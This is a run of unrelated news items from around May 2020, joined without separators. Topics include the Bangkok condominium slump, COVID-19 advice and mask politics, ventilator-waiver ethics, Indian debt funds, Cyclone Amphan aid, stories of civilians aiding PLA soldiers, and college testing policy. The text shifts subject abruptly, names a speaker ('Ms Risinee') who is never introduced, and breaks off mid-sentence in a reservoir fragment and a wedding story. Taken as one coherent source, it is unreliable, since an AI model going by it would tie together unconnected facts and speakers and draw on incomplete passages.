In the first quarter of this year, it was found that there were about 6,007 condominium units already launched for sale  and the number of new units launched has decreased by 53.4% when compared to the first quarter of the previous year. The main reason for the new supply decline is due to the outbreak of COVID-19, especially in March; the outbreak has since intensified.

Newly launched condominiums in the first quarter of 2020 include Grade C condominiums (selling price lower than B80,000 per sq.m.), representing 58% of the total launches, followed by Grade B condominiums (selling price between B80,001 - 150,000 per sq.m.), representing a 27% ratio, and grade A condominiums (selling price > B150,000 per sq.m.) at 14%. Prime and super prime condominiums only comprised 1% of the new supply.

In regard to location, most of the newly launched condominiums are located in the suburbs of Bangkok, accounting for 56% of the total, followed by condominiums located around central business areas (City Fringe) at 28%, and condominiums located in the central business district (CBD) at 16%.

The outbreak of COVID-19 resulted in a clear decline in purchasing power in new condominium projects launched in the first quarter of 2020. Only 1,791 units were sold from the new supply during the first quarter of this year from a total of 6,007 units, representing a 30% sales rate  and reflecting a 9% drop in sales when compared to the same period in the previous year or a 20% decrease when compared with the previous quarter.

In March, the outbreak of COVID-19 was especially severe, resulting in a decrease in the number of people visiting projects. In addition to new condominium sales decreasing, concerns remain about the number of condominium transfers for projects that are completed and ready to be transferred this year amidst the nationwide lockdown.

As such, almost every business stopped close to 100% of their activities. Naturally, when businesses stop operating, there is an inevitable effect on employment in various business organisations. In some cases, businesses have decreased their employee numbers and reduced the salaries of employees. In turn, this has caused many people to lose their jobs, lack in income or have reduced income.

Buyers may be unable to complete their transfers, as banks are also more cautious in granting loans for real estate. It is expected that the loan rejection rates are likely to increase this year.

For the survival of each company, it is apparent that many operators are trying to engage in marketing schemes to create sales, including discount promotions from 20% up to 50% for some units in the project  in order to try to attract customers to visit the project.

In addition, there are many other promotions, such as waiving of charges on the day of transfer, which includes the transfer fee of 1% of the appraised price (only for customers), stamp duty fee, installation and insurance fee for the electricity meter, common facilities fee for one year, and initial capital fund contribution.

In addition, some companies have promotions that attract both investors and those who buy residences for their own occupancy (real demand), which include coverage of two years of instalment payments.

For customers who have already bought condominiums and are in the process of making their down payment, many companies implemented measures to help, as many of the customers from temporarily halted businesses, like hotel staff, airline staff, restaurant staff and department store staff, may be experiencing the difficulties of having no income. Many companies have helped customers who are having problems with the suspension of temporary down payments, beginning at three months.

However, the slowdown in real estate has been good for investors with savings and cash in their pockets; such investors have taken this opportunity to buy condominiums at prices that have been reduced to below market rates, in order to make a profit when the economy has recovered.

As some projects only take the reservation payment and the rest of the payments when ownership is transferred, an investor can purchase a unit in such a project with a two-year instalment payment promotion. They will then not have to pay anything out of pocket for two years when the economy has not yet recovered.

Ms Risinee touched on that the trends of the condominium market in Bangkok, remarking that, in the remaining nine months of this year, the launches of new condominiums for sale will slow down  especially the large condominium projects and high-priced condominiums, large-scale projects that require more than five years to develop, and condominiums that focus on selling to investors and foreigners.

Condominium projects launched for sale this year will focus on selling to buyers with real demand. The selling price level will not exceed B100,000 per square metre. The trend of condominiums is likely to slow both in terms of supply and demand, and It is expected that it will take another two years for the condominium market to improve.

There are still around 100,000 units remaining units for sale in Bangkok. However, the delay in the launches of condominiums will benefit the market in Bangkok, providing opportunities to sell outstanding stock. Also, postponing the launch of new projects would result in reduced competition in the market.

As for condominiums that will be completed this year, it has been found that operators are trying to reduce prices in order to attract customers. The condominium market at the moment is considered to be a buyers market, where the buyers bargaining power can push condominium price levels below the market prices; buyers would subsequently be able to resell their purchases at a good price in the future when the economy has revived.
Dr. Scott Gottlieb told CNBC on Friday that Americans could have "some semblance of normalcy" in the coming months, as long as certain precautions around the coronavirus continue to be taken.

"I think if we're all careful this summer we can take a breather and get back to some semblance of normalcy," Gottlieb said on "Squawk Box." "Now we can't be complacent coming off the summer, heading into the fall, when the risk is going to be very different."

Gottlieb, a former commissioner of the Food and Drug Administration, laid out examples of the strategies people should employ: go to the store less, practice good hygiene when out and reduce the size of one's social circle.

"That could have a big distributed effect," Gottlieb said, referencing a study he read "that basically showed, if people just shop one day a week less, that can have a big impact, if they're coming into contact with other people just a little less on the margins."

Gottlieb, a CNBC contributor who sits on the boards of Pfizer and biotech company Illumina, said the risk of contracting Covid-19 is most present when people are in continuous close contact indoors. He said that is why people who work at meatpacking plants and on factory floors, without proper protective equipment, have been vulnerable to infection.

"Any place you're in an indoor setting, and you're in contact with people for a sustained period of time, that is the conditions under which this spread," the physician said.

Gottlieb has previously contended it would be wise to move more activities and events outside in the summer. Some cities are doing that by allowing restaurants to more easily expand outdoor dining, for example. Many experts believe transmission of SARS-CoV-2, the virus that causes Covid-19, is less prevalent outdoors if proper precautions are taken, such as social distancing and wearing a face covering.

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States across the U.S. are easing their coronavirus-related limits on business, allowing retailers and restaurants to reopen at reduced capacity or with other precautions in place. There is worry among public health officials that relaxing restrictions too soon could lead to more cases of Covid-19.

Gottlieb and others, such as White House health advisor Dr. Anthony Fauci, have also warned that the U.S. could experience a second wave of cases in the fall and winter months.

"I'm very worried about fall when we come back but I'm hopeful that infections start to break off later in the summer," Gottlieb said last week.

There are more than 1.5 million confirmed cases of Covid-19 in the U.S., according to data from Johns Hopkins University. At least 94,729 people have died in the country.
Online relay helps sick soldier

Recently, a piece of information asking for granulocytes (leukocytes) donation circulated widely online. Qiu Sheng, an active service member in Tibet, has caught leukemia and is having drug resistance. He is in urgent need of granulocyte infusion therapy.

According to his attending physician, he has very severe a plastic anemia (VSAA) and is also infected with a kind of superbug, which is basically resistant to all current antibiotics. So it is difficult to control the infection by drug treatment alone. Now he needs granulocytes (leukocytes) to help fight the infection.

Netizens forwarded the message one after another after it was sent out. Many people left comments to offer help to the border soldier. On the day of the news, more than 100 volunteers went to the hospital for physical examination and donation, and just within two days, the hospital got enough donations available for at least 10 days of treatment.

Just like one netizen said, "You always protect us; now, please let us help you."

Nine passengers voluntarily change their flights for the life of a soldier

At 7:05 pm on November 21, 2017, a flight from Aksu to Urumqi carried a soldier assigned to the People's Liberation Army with life-threatening conditions. His name is Chen Shi, a soldier of the Xinjiang Production and Construction Corps (XPCC).

At that time, Chen Shi was suddenly ill, but the hospitals of Ushi County and the First Division of XPCC were not equipped for a surgery. Only major hospitals in Urumqi were able to provide treatment for Chen, but they were 1,000 kilometers away. Sending him by ambulance to the hospitals was too long, and might endanger his life at any time, so civil flight was the only option.

Doctors onboard the plane bound for Urumqi check Chen Shi's conditions. (chinamil.com.cn)

"Dear passengers, please note that this flight needs nine seats to install a stretcher for a soldier in serious conditions. If you would like to change to the next flight voluntarily, please register with the duty manager..."

On hearing the broadcast, many passengers came to the check-in counter, volunteering to change their flights.

I am more than willing to change my flight and dont need any compensation, a passenger said.

In the end, none of the nine passengers who voluntarily changed their flights accepted the airlines delay compensation. All of them said that love could not be measured by money.

84-year-old man sends five boxes of scarves for soldiers

The "No.1 Sentry Post of Northwest China" guarded by Bai Ha Ba border company of the PLA Altay Military sub-Command received five mysterious boxes before the lunar Chinese New Year in 2020.

The packages were sent from Longquan Town, Anyang, Henan Province. The note on the box reads, "To the most admirable people of the 'No.1 Sentry Post of Northwest China'". Inside each box, there are colorful scarves, each with a card noting that "To the most admirable people."

Through the contact information left on the package, the officers and soldiers finally found the sender Zhao Zhongfu. The 84-year-old man was a party member who had joined the party six decades ago. He had once been responsible for sending letters to the underground party organizations in the battle for the liberation of Anyang before the founding of the Peoples Republic of China (PRC) and was working in the militia company since the founding of PRC.

Zhao Zhongfu and his wife Zhang Emei have been paying attention to military news since they retired over 20 years ago. Last year, the old couple learnt the news on the television that company officers and soldiers fell into a glacier while patrolling by horse. They couldn't help but think of their experience in the battle for the liberation of Anyang.

Hand-made scarves sent by Zhao Zhongfu to Bai Ha Ba border company of the PLA Altay Military sub-Command. (chinamil.com.cn)

From that day on, the couple started to care for the border soldiers, and they would often weave scarves and send them to officers and soldiers stationed in border areas across the country.

The winds of the Altay Mountains in mid-winter are bitterly cold as the temperature drops to minus 20 degrees Celsius, but the officers and soldiers feel warm.

Sergeant Major Zhang Hongbo said, "These boxes of scarves warm our hearts. They indicate that many people in the world know and care for us".

Six cups of bubble tea sent from Xi'an to Yinchuan

Officers and soldiers assigned to the 18th Squadron of the Yinchuan Detachment under the Chinese People's Armed Police Force Ningxia Corps performed duty under -20  C around the Yinchuan New Bus Station on February 9, 2018.

At 11 a.m., when the officers and soldiers were preparing in the patrol vehicle, a delivery man brought six cups of bubble tea to them.

"We didn't order takeout, is it a mistake?"

The deliveryman took out his phone to show them the order, and the note reads: "Guarding Yinchuan on such a cold day is very hard, so please send them to the most admirable people!"

They dialed the phone on the takeout list and soon heard a slightly shy girl's voice.

The girl wasWang Peiling, a manager of a hotel in Xi'an. She used to be an intern working near Yinchuan Bus Station, when she often saw officers and soldiers on duty despite wind and rain. She felt that their work was very hard, so she decided to order bubble tea for them.

Hearing the officers and soldiers thanking her so much, the shy girl hung up the phone. Then, she sent a text message: "I just want to do something for whom I admire, and hope to make you feel warmer in cold winter!"

Chinese military comes from the people and is rooted in the people. Chinese military loves the people, and the people support the PLA. Such stories are happening all over China at any time.
Debt funds have confronted one bad news after another. The two of the worst affected categories in debt funds -- credit risk funds and medium duration funds -- have seen highest redemptions due to heightened apprehension of liquidity concerns and defaults. Now ABSL Mutual Fund has suspended two debt funds -- Aditya Birla Sun Life (ABSL) Credit Risk Fund and ABSL Medium Term Fund -- for new investors. These schemes will not accept any new lumpsum, SIP or STP investment requests. However, it will allow redemptions and existing SIPs and STPs to continue.

It has hardly been a month since Franklin Templeton closed six of its debt mutual funds due to unprecedented redemption pressure. In such a scenario, closure of two debt funds by ABSL fund house may give an impression that another scheme is biting the dust. The perception is not totally unfounded. These two funds saw substantial redemption during the last one month after the Franklin Templeton fiasco. The AUM of ABSL Credit Risk Fund, which was Rs 4,052 crore on April 23, 2020 fell down by 50.25 per cent to Rs 2016 crore on May 20. ABSL Medium Term Fund lived the similar fate as its AUM fell by 37.67 per cent from Rs 3,441.59 crore to Rs 2,144.87 during the same period.

However, the story appears a little different here. The fund house is claiming that existing investors may incur substantial benefit due to intended debt recoveries from existing bad assets. The suspension of funds for new investors as per them is intended to stop speculators from entering into the schemes and diluting the advantage of existing investors. "Investors are hardly affected due to these restrictions. On the contrary, it will benefit the existing investors in these schemes. New investors will have to wait to invest in these Schemes," says Nitin Shahi, Executive Director of FINDOC Group.

The fund house was significantly affected when the debt fund crisis unfolded in August 2018 with IL&FS default as it had exposure in debt securities of troubled firm. Many other debt securities held by the fund house also appeared on the shaky ground. The fund house had to sidepocket some of its troubled exposure on November 26, 2019, by creating a segregated portfolio of troubled assets to help the fund focus on recoveries. After the sidepocketing, existing investors were not given their due from this segregated portfolio. They were to be paid only when recovery was made in the portfolio. In case of ABSL, the schemes appear to make some recoveries from the bad assets and hence are expected to bring substantial gain for existing investors. The gain could be diluted to a great extent if new investors invest significantly.

The investors who were part of the suspended schemes at the time of sidepocketing will get their dues as and when recoveries are made in the segregated portfolio. "From the viewpoint of those who are currently invested in the debt schemes (that have discontinued inflow), it's a welcome move because this is a measure to check dilution of their gains. The existing investors will be paid off for the risk that they have taken. This is due to the expected recovery of funds written off by Aditya Birla Sun Life Mutual Fund over the last few months," says Pranjal Kamra, CEO, Finology.

However, as per Morningstar the fund house had marked down 35 per cent of its exposure in some of the troubled assets three weeks before the sidepocketing on November 26, 2019. So, investors who suffered losses before the sidepocketing happened may not get any benefit. "In our view the AMC should have opted for side-pocketing earlier in these schemes. This would have benefited those who have exited the schemes in losses," says Kamra of Finology.

At a time when debt investors are tired of getting bad news, this will give a fresh lease of hope. "The out of the way thinking by the Birla MF will boost confidence towards the existing investors. The measure will present the fund house as more responsible towards their investors and these measures can be used by other fund houses as well," says Shahi of FINDOC. This should lead the way for debt funds to take extra care of their investors' interest.

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A ReOpen PA demonstrator holds up a sign during a protest on the steps of the Pa. State Capital in Harrisburg last week. Read more

After watching footage of an anti-lockdown protest in Michigan, Dominic Sisti, a Penn Medicine medical ethicist, started imagining a disturbing scenario: Suppose he took a rule-following relative who was sick with the coronavirus to the hospital. The relative needed a ventilator, but all the machines were used up by protesters who had refused to wear masks and had attacked public health restrictions meant to protect everyone.

That led to a provocative essay in Harrisburgs Patriot-News that lends academic weight to an idea that has been making the rounds on social media as anti-maskers have become more visible. Sisti and three fellow bioethicists  Emily Largent of Penn Medicine, Moti Gorin of Colorado State University, and Arthur Caplan at New York University  argued that protesters should voluntarily sign documents saying that they wont accept scarce medical care if they get sick.

Were not arguing that hospitals should refuse to treat people, Gorin said. Were saying that people should put their money where their mouth is.

The ethicists said their main goal was to make protesters think about the possible consequences of their actions: an increase in serious illness that could affect them, their families, and others in their communities. These theoretical documents would not be binding unless protesters treated them as advance directives and took them to the hospital. Doctors are bound to treat everyone, the ethicists said. They could not ethically use political activities or risky behavior to triage patients who needed care.

Doctors have a duty to treat anyone and everyone, even enemy combatants, Sisti said.

When resources are scarce, however, health systems may have to establish guidelines for who can get care.

People who have protested Pennsylvanias lock-down orders scoffed at the idea that they should get any less medical treatment.

Christopher Dorr, a professional gun-rights activist who lives outside Columbus, Ohio, said he has organized a handful of protests in Columbus and Harrisburg. Asked whether he wore a mask at rallies, he said he had a medical condition that prevents that: Its called freedom.

 READ MORE: The backlash against the quarantine has begun in Pennsylvania

He said most protesters just want to get back to work. Although everyone is being asked to sacrifice for the common good, the economic pain has not been distributed evenly. He said he thinks the overwhelming majority of Pennsylvanians would agree to lower priority for a ventilator if it meant they were exempted from the tyrannical precedent being set and exempted from the terrible economic destruction that is being foisted on so many millions of Pennsylvanians right now as the result of Gov. Wolfs draconian and overreaching actions.

Russ Diamond, a Republican state legislator who represents part of Lebanon County, has attended protests and supported local commissioners who went against Gov. Tom Wolfs wishes and moved the county from red to yellow restrictions. He wears a mask in public only if hes within six feet of someone. He still shakes hands and hugs. I believe I have already had COVID-19. He was sick in late February after a staffer returned from China.

He said that ventilators have not been scarce and that its an anathema to liberty to say that healthy people are sick and dangerous." He bristled at the idea of withholding care based on health choices. What about people who eat too much? he wondered. What theyre suggesting is rationing of health care. They are traveling down a dangerous, dangerous pathway. ...

These ethicists ought to get out of whatever egghead bunker theyre living in. We dont do that in America.

Largent said she supports giving more help to people who are suffering financially. I pay taxes and would be delighted to see the state and federal governments direct significantly more money than they already have to people who are unemployed as well as to small-business owners, she said. Providing financial support to sustain people during these public health measures is a kind of social solidarity akin to wearing a mask and social distancing.

Historically, Caplan said, even the most ardent proponents of individual liberty did not imagine that it came unfettered by responsibilities. Were not allowed to hurt others, for example. You dont just get to go around screaming `Freedom!' all day and do what you want, said Caplan, the former chair of medical ethics at Penn.

The coronavirus is brand-new, so everyone is susceptible to it. Large numbers of people can get it  and spread it  without having symptoms, which makes it an especially wily foe. Public health officials have asked people to stay at home, not only for their own protection but to keep hospitals, and equipment such as ventilators, from being swamped. Pressure to loosen restrictions has mounted as case numbers in some states, including Pennsylvania and New Jersey, have fallen and unemployment has surged.

 READ MORE: In New Jerseys most rural county, many officials and business owners press to reopen

Sisti noted that his wife is out of work. I get it, he said. The economic impact is incredibly devastating. However, this virus calls for unusual measures, he said. During a once-in-a-century pandemic, you have to recalibrate what you think of as freedom."

The idea of a ventilator waiver sits atop more than one slippery slope.

Americas hospitals and doctors office are (normally) full of people who smoke, drink, and eat too much or badly, and rarely exercise. They still get expensive care, although Caplan points out that they might pay more for life and health insurance and may not be considered good candidates for some surgical procedures. The primary harm in these cases, the ethicists said, is to the individuals themselves.

Then theres the question of where you draw the line on coronavirus risk-taking. At one extreme is the group the ethicists are most concerned about: protesters who refuse to wear masks in crowds and question the value of scientific expertise. But what about Elon Musk, who defied local orders to reopen his Tesla plant in California? Small businesses such as hair salons that reopen early?

To varying degrees, the ethicists said anyone who takes chances should think about where they should stand if hospitals become inundated, but Sisti sees organized protests as worse than poor individual decisions. This is an intentional assault on the public health regime that we have in society thats meant to keep everyone healthy.

 ASK US: Do you have a question about the coronavirus and how it affects your health, work and life? Ask our reporters.

Nancy Berlinger, a medical ethicist at the Hastings Institute, has written ethical guidelines for approaching COVID-19, but was not involved in the new op-ed. She sympathizes with the writers ideas.

What Sistis group is talking about, she said, is whats known in the field as ethics free riders," people who "are benefiting from a system that they have undermined.

She doesnt think document-signing would have much effect, though. She doubts that people who threaten public officials with guns would be open to these arguments.

Public health officials need to develop a strong set of messages for how were supposed to act as lock downs are loosened, including talking about pro- and anti-social behavior, she said. We need public health guidance backed by science about what is safe and unsafe.

Donna Lea Merritt, a Berks County Republican who is running to be a Trump delegate to the Republican convention, is among those unswayed by the ethicists proposal. She has gone to several protests and wears masks only when stores require them. She doesnt think she needs one, and says its bad to breathe her own carbon dioxide. These people are telling us lies, and I dont believe it, Merritt said. She said she has a good immune system and feels capable of making her own decisions about distancing and prevention.

She saw no point in even thinking about ventilators being hard to get. Hospitals have not been overwhelmed with COVID-19 patients. I tell you were not in a crisis where were going to be deciding between a ventilator for you or for me. Thats stupid..., she said. I dont need a government bureaucrat telling me to wear some ugly, dirty mask.
Provincial health department workers stop traffic that has crossed the Confederation Bridge in Borden-Carleton, P.E.I., on March 22, 2020. (The Canadian Press/Andrew Vaughan)

PEIs Decision to Allow Seasonal Residents Could End Plans for Tourism Bubble With New Brunswick

Prince Edward Islands decision to allow entry to seasonal residents will most likely put the kibosh on plans for a possible tourism travel bubble between P.E.I. and New Brunswick.

P.E.I. Premier Dennis King said at a press conference on May 21 that Canadian seasonal residents may apply to travel to the island starting June 1. While an approximate 2,300 Canadians are considered eligible for approval, an estimated 1,200 international seasonal residents will not be able to apply this time.

This allows us to be open to our seasonal island residents, which is the very nature of who we are as Islanders. But we also have to protect and monitor the risk, which is why this process will be closely monitored to protect the well-being of all Islanders, King said.

But Kings decision may set back the discussions to build a travel bubble between the two provinces, which have had lower COVID-19 infection rates, and came as a surprise to New Brunswick Premier Blaine Higgs.

I was surprised about the June 1 for [seasonal residents from] all provinces with property in P.E.I., Higgs said in an interview with CTV Atlantic. We were thinking wed be a few weeks out from that, but in light of what Premier King has announced, people will be travelling through our province, we have to work out the protocols to allow that, because thats his decision.

A travel bubble allows the residents who have not travelled for two weeks, are not infected with COVID-19, and have not been in contact with others who tested positive for the disease to travel freely within the countries or regions participating in the bubble.

All 27 P.E.I. residents who had tested positive for COVID-19 have recovered, and the province has not announced new cases of infection since May 6. Similarly, as of May 21, of the 121 confirmed cases in New Brunswick, 120 patients have recovered.

Neither province has reported new cases of COVID-19 in over two weeks.

However, Dr. Jennifer Russell, New Brunswicks chief medical officer of health, warned against risking importing travel-related cases from outside the province. She said a travel bubble could only happen when there are no active cases, and even then measures like testing, contact tracing, and physical distancing should still be maintained.

On May 19, about 400 Quebecers protested against the Maritime provinces travel restrictions by marching on the bridge linking Campbellton, N.B., and Pointe-a-la-Croix and Listuguj First Nation in Quebec.
The maximum water level at Detroit Reservoir is being lowered this year to reduce the possible impacts of future earthquakes. The reduction in
After PM Modi's visit to cyclone-hit West Bengal, Chief Minister Mamata Banerjee, on Friday, urged the Centre to work in tandem with the state government to help those affected. She said that she would receive Rs 53,000 crores from the Centre and has asked additional aid from the Prime Minister. As of date, 80 lives have been lost due to cyclone Amphan which ravaged through parts of West Bengal and Odisha, before turning to Bangladesh.

Cyclone Amphan: PM to visit affected areas in Odisha, Bengal; to conduct review meetings

Mamata Banerjee on Modi's visit to Bengal

"We've to help people so we've started relief work. I told PM that we'll get Rs 53,000 Cr from central govt regarding food subsidy, social schemes & central schemes wherever our money is there. So I said you try to give some money to us so that we can work in this crisis," she said to reporters.

We've to help people so we've started relief work. I told PM that we'll get Rs 53,000 Cr from central govt regarding food subsidy, social schemes & central schemes wherever our money is there. So I said you try to give some money to us so that we can work in this crisis: WB CM https://t.co/J7gzruZ7bh  ANI (@ANI) May 22, 2020

PM Modi announces Rs 1000 Cr aid to WB; Rs 2 lakh ex-gratia for victims of Cyclone Amphan

PM Modi visits cyclone-hit West Bengal

Earlier in the day, PM Modi accompanied by Union Minister Dharmendra Pradhan, Union Ministers of State Babul Supriyo, Pratap Chandra Sarangi and Debasree Chaudhuri landed in Bengal to review the damage done. He also conducted an aerial survey of Rajarhat, Bhangar, Minakha, Hashnabar, Sandeshkhali 1 and 2, Gosaba, Hindolganj, Kultuli, Kakdwip, Patharpratima, Mathurapur 2, Diamond Harbour and Falta with West Bengal Governor Jagdeep Dhankar and CM Mamata Banerjee. He assured that state and central governments stand with the people who have been affected by the cyclone.

PM Modi announced that the Central government will allocate Rs 1000 crore for advance immediate assistance of West Bengal. Moreover, Rs. 2 lakh would be given to the next of kin of the persons deceased and Rs 50,000 each to the persons who got seriously injured. He also said that a team will be sent by the Central Government to conduct a detailed survey about the damage caused due to the Cyclone and the current situation of the affected areas.

Cyclone Amphan 'more than a national disaster', 60 pc of WB's population impacted: Mamata

Cyclone Amphan in West Bengal

Cyclone Amphan which reported winds up to 190 kmph made landfall at the Digha coast of West Bengal at 2.30 pm on Wednesday, hitting Kolkata a few hours later. There were widespread power cuts in large parts of Kolkata, North 24 Paraganas and South Paraganas. Mobile, internet services and electricity were also down in parts as the cyclone had damaged several communication towers and the electrical grid.

Pakistan International airline plane crashes near Karachi airport with over 90 on board

Portions of several dilapidated buildings came crashing down in Kolkata and other parts of the state. Embankments in Sundarban delta - a UNESCO site - were also breached as the surge whipped up by the cyclone inundated several kilometres of the island. More than five lakh people have been evacuated to safety by the state government.
(Photo : REUTERS/Mike Blake) San Diego State University campus is shown after the 23 Campuses of California State University system announced the fall 2020 semester will be online, affecting hundreds of thousands of students, during the outbreak of the coronavirus disease (COVID-19) in San Diego, California, U.S., May 13, 2020.

The University of California (US) system is the latest education facility that has decided to suspend the testing mandate until 2024 as the coronavirus continues to shape the society.

Unlike employees who have shifted to remote working, colleges and counselors are worried about widespread cheating if tests are taken online from home. Thus, they opted to just drop the exams as requirements altogether, according to a Politico report.

On Thursday, May 21, regents of the elite public education facility voted to suspend the SAT and ACT requisite until 2024, before it eliminates the admission test in 2025. A total of 291,000 students are enrolled in the university.

This decision came after UC President Janet Napolitano touted the postponement of testing requirements until 2024 and the creation of a new admissions exam for California students. The UC joins 80 other colleges and universities that will no longer require the admission test this fall. However, it is not yet confirmed whether it will be permanent or just temporary.

Other schools that have suspended the test requirement are Cornell University, Washington and Lee University, Davidson College, Fordham University, Vassar College, Tufts University, and all public universities in Oregon.

Over 80 Colleges postpone SAT and ACT until 2024 as anti-testing movement questions online testing security

This change has produced a fierce reaction from test-makers who hold multimillion-dollar businesses with the admissions process. Without the entrance exam, colleges would base admissions on students' GPA, high school courses, and personal essays. This eases the barriers for low-income and first-generation applicants as argued by advocates.

On the other hand, according to ACT and SAT heads, focusing on GPAs could result in an increase in grades for affluent high school students where rich parents can press teachers to give better scores.

While test-makers insist on the security of online exams, school officials' concern is understandable. It has just been a year since the "Varsity Blues" scandal exposed how rich parents paid school officials and teachers so their children would get higher scores.

Also, some online Advanced Placement exams experienced technical glitches last week which prompted parents and students to file a case to challenge the results.

National Association for College Admissions Counseling President Jayne Fonash said the glitch was "the last straw." The counselors' group is a prominent critic of online ACT and SAT testing for a long time, but has not made any progress.

The group is worried about students who have no access to stable internet at home, as well as those students with disabilities.

Fonacier also said her group has long encouraged their members who are college officials to review their admission requirements for the 2020-2021 academic year. The counselors' group, which has more than 15,000 members, feels these schools are influenced by test-makers who decided to carry out online tests amid the coronavirus pandemic.

Fonash emphasized that the preparation regarding the shift to online testing has not been enough Meanwhile, some colleges have already committed to having the admission test postponed for up to three years while others are suspending the exams indefinitely.

Read also: NASA Will Pay Volunteers to Spend 8-Months in Lockdown to Simulate Future Missions to Mars and the Moon

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Central Warehouse Corporation (CWC) on Friday handed over Rs 35.77 crore dividend cheque to Food and Consumer Affairs Minister Ram Vilas Paswan.

CWC achieved the highest ever turnover of about Rs 1,710 crore during 2019-20 fiscal year.

The company's Managing DirectorArun Kumar Shrivasatava handed over the dividend cheque of Rs 35.77 crore to the Union Minister for Consumer Affairs, Food and Public Distribution Ram Vilas Paswan, an official statement said.

CWC has declared interim dividend for 2019-20 at 95.53 per cent of its paid-up capital as against 72.20 per cent in the previous year.

Out of total dividend of Rs 64.98 crore, the Government of India share is Rs 35.77 crore as 55 per cent equity is held by the Centre.

The final dividend for the year 2019-20 would be declared in the Annual General Meeting of shareholders.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Three years ago, Olivia Hall received a surprise during a psychiatry lecture at N.Y.U. when she took a peek at her phone and noticed a message in her Bumble account from another Olivia  Olivia Reaney.

I thought, wow, what were the odds that someone named Olivia would be trying to contact me, said Dr. Hall, 28, a medical resident at the University of California, San Francisco Medical Center, who was then living in Manhattan.

She was so passionate about music and enjoyed the New York City nightlife, said Dr. Hall, who graduated from Boston College and eventually received a medical degree from N.Y.U.

To be honest, Dr. Hall said, I thought she was a bit too cool for me.

Ms. Reaney (left), also 28 and a freelance graphic designer in San Francisco who was then living in Brooklyn, was equally impressed.
Retail as a whole has declined rapidly over the last two months, but one segment of the struggling industry has defied the trend: face masks. In early April, the Centers for Disease Control began encouraging Americans to wear face masks outside their homes. By then, a crop of do-it-yourself solutions had already emerged, intended to abate shortages of medical-grade personal protective equipment among those on the front lines of the fight against the coronavirus. More than a month later, its apparent that social distancing  and thus, mask-wearing  will continue to be necessary throughout the summer. (Of course, in some parts of the world, face masks are already worn daily.)

So its perhaps unsurprising, even as it generates some uneasy tensions, that face masks have become vehicles for personal expression. They come in florals and geometric prints, adorned with sequins or images of cartoon characters and in a multitude of fabrics and textures. Here are a few standout options (note that these wont offer N95-level protection); their availability may fluctuate because of demand, but most are being periodically restocked. As an alternative, you can try your hand at making your own.

Jeune Otte

The tween fashion line Jeune Otte, which launched in Chicago last fall, has created an array of masks for smaller faces using fabrics, like dotted chiffon, left over from their garments; other versions are cut from a Liberty of London floral and gray chambray. The brand has also partnered with Maison Me, the house line of youth retailer Maisonette, on an additional range of masks made from custom fabrics. And with each sale, Jeune Otte donates five reusable masks to individuals in need. $20, jeuneotte.com.

Majoie Maldives Botanical Silk Face Mask

The Maldives-based brand Majoie primarily makes bath products  body and bath oils, self-tanners  but with the coronavirus outbreak, it has added face masks to its offerings. Made from botanical-dyed raw silk with cotton interiors, the masks come in tie-dyed patterns and solids. Majoie is part of Nest, the New York-based nonprofit that aims to preserve traditional crafts and employ women artisans outside of factories; as such, a portion of the profits from these masks benefit the local Maldivian community through Majoies Beyond Sustainable Project. $45 for two, collection.majoiemaldives.com.
Ypsilanti Township, Mich.  Pandemic politics shadowed President Donald Trumps trip to Michigan on Thursday as he highlighted lifesaving medical devices, with the president and officials from the electoral battleground state clashing over federal aid, mail-in ballots and face masks.

Trump visited Ypsilanti, outside Detroit, to tour a Ford Motor Co. factory that had been repurposed to manufacture ventilators, the medical breathing machines governors begged for during the height of the COVID-19 pandemic.

But his visit came amid a long-running feud with the state's Democratic governor and a day after the president threatened to withhold federal funds over the state's expanded vote-by-mail effort. And, again, the president did not publicly wear a face covering despite a warning from the state's top law enforcement officer that a refusal to do so might lead to a ban on his return.

All of the Ford executives giving Trump the tour were wearings masks, the president standing alone without one. At one point, he did take a White House-branded mask from his pocket and claim to reporters he had worn it elsewhere on the tour, out of public view.

I did not want to give the press the pleasure of seeing it," Trump said.

For a moment, he also teasingly held up a clear shield in front of his face. A statement from Ford said that Bill Ford, the company's executive chairman, encouraged President Trump to wear a mask when he arrived" and said the president wore it during a private viewing of three Ford GTs from over the years" before removing it.

The United Auto Workers union noted in a statement that some in his entourage' declined face masks and said it is vitally important that our members continue to follow the protocols that have been put in place to safeguard them, their families and their communities.

The UAW also noted Trump's statement that he had just been tested for the virus and said it wanted to make sure he understood the wider need for an economical instant test that can be administered daily to further protect our members -- and all Americans.

Michigan Attorney General Dana Nessel said that mask wearing isnt just Fords policy but its also the law in a state thats among those hardest hit by the virus. Nessel said that if Trump refused to wear a mask Thursday hes going to be asked not to return to any enclosed facilities inside our state" and we're going to have to take action against any company that allows it in the future.

Trump has refused to wear a face mask in public, telling aides he believes it makes him look weak, though it is a practice that federal health authorities say all Americans should adopt to help slow the spread of the virus.

Ford said everyone in its factories must wear personal protective equipment, including masks, and that its policy had been communicated to the White House. At least two people who work in the White House and had been physically close to Trump recently tested positive for the virus.

The Republican president and Gov. Gretchen Whitmer have clashed during the coronavirus outbreak over her criticism of the federal response to the state's needs for medical equipment, like ventilators, and personal protective gear, such as gloves, masks and gowns. Trump on Thursday criticized Democratic governors, suggesting they were proceeding too slowly in reopening their states' economies.

You have a lot of, unfortunately, in this case Democrat governors (who) think its good politics to keep it closed," Trump said. I think theyre being forced to open, frankly, the people want to get out. Youll break the country if you dont."

The day before, Trump threatened to withhold federal funds from Michigan after its secretary of state mailed absentee ballot applications to millions of voters. Trump first tweeted  falsely  that the Democratic state official had mailed absentee ballots to Michigan voters. He later sent a corrected tweet specifying that applications to request absentee ballots had been mailed and seemed to back off his funding threat.

Trump narrowly won Michigan in 2016. He insists mail-in voting is ripe for fraud, although there is scant evidence of wrongdoing.

We dont want them to do mail in ballots because its going to lead to total election fraud," Trump said Thursday, But then he allowed for some exceptions, including for himself.

Now, if somebody has to mail it in because theyre sick, or by the way because they live in the White House and they have to vote in Florida and they wont be in Florida. But theres a reason for it, thats OK."

Trying to signal to the nation that life is returning to normal, the president has begun traveling again, with all of his initial trips to states that will be hotly contested in this Novembers election. Campaign advisers have grown increasingly worried about Michigan, believing that the presidents attacks on Whitmer have not worked and that the toll the virus has taken in the Detroit area, particularly among African Americans, will prove costly politically.

Trump, at a roundtable with African American supporters in front of a sign with his slogan for reopening the economy, Transition to Greatness," noted low minority unemployment numbers before the pandemic and also pointed to his administration's work on criminal justice reform.

The president's advisers have become convinced that of the three Rust Belt states that Trump took from Democrats in 2016, Michigan would be much more difficult to win again than Pennsylvania and, especially, Wisconsin.

